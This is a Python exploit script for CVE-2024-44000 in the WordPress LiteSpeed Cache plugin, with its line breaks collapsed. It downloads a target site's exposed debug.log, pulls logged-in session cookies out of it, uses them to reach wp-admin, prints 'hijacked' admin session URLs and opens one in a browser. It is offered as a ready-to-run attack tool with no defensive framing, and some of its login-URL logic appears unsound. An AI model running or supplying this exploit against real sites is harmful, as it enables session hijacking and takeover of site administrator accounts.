import requests import re import argparse from urllib.parse import urljoin, quote import tempfile import webbrowser def extract_cookies(log_file): cookies = [] with open(log_file, 'r') as f: for line in f: match = re.search(r'Cookie: (.*)', line) if match: cookies.append(match.group(1)) return cookies def extract_session_cookies(cookies): session_cookies = [] for cookie in cookies: match = re.search(r'wordpress_logged_in_[^=]+=[^;]+', cookie) if match: session_cookies.append(match.group(0)) return session_cookies def extract_and_use_cookies(url): session = requests.Session() log_url = urljoin(url, "wp-content/debug.log") try: response = session.get(log_url, allow_redirects=False, timeout=10) if response.status_code == 200: print("[+] Successfully accessed the debug log file") with tempfile.NamedTemporaryFile(mode='w', encoding='utf-8', delete=False) as tmp: tmp.write(response.text) log_file = tmp.name cookies = extract_cookies(log_file) session_cookies = extract_session_cookies(cookies) if session_cookies: print("[+] Found session cookies:") for cookie in session_cookies: print(f" {cookie}") for admin_cookie in session_cookies: cookie_name, cookie_value = admin_cookie.split('=') session.cookies.set(cookie_name, cookie_value) admin_url = urljoin(url, "wp-admin/") admin_response = session.get(admin_url, allow_redirects=False) if admin_response.status_code == 302 and 'wp-admin' in admin_response.headers.get('Location', ''): hijacked_url = f"{urljoin(url, 'wp-login.php')}?redirect_to={quote(admin_url + f'?{cookie_name}={cookie_value}')}&reauth=1" print("[+] Successfully hijacked admin session with cookie:", admin_cookie) print("[+] Hijacked admin session URL:", hijacked_url) cookie_set_url = f"{urljoin(url, 'wp-login.php')}?cookie={cookie_name}={cookie_value}" print("[+] Cookie set URL:", cookie_set_url) # Open the cookie set URL in the default browser webbrowser.open(cookie_set_url) return True else: print("[-] Failed to hijack admin session with cookie:", admin_cookie) else: print("[-] No session cookies found in the log file") else: print(f"[-] Failed to access the debug log file. Status code: {response.status_code}") except requests.RequestException as e: print(f"[-] Error occurred while accessing the target: {e}") return False if __name__ == "__main__": parser = argparse.ArgumentParser(description="LiteSpeed Cache Cookie Extractor and Admin Login (CVE-2024-44000)") parser.add_argument("url", help="Target WordPress site URL") args = parser.parse_args() # Attempt to extract cookies and use them to login as admin extract_and_use_cookies(args.url)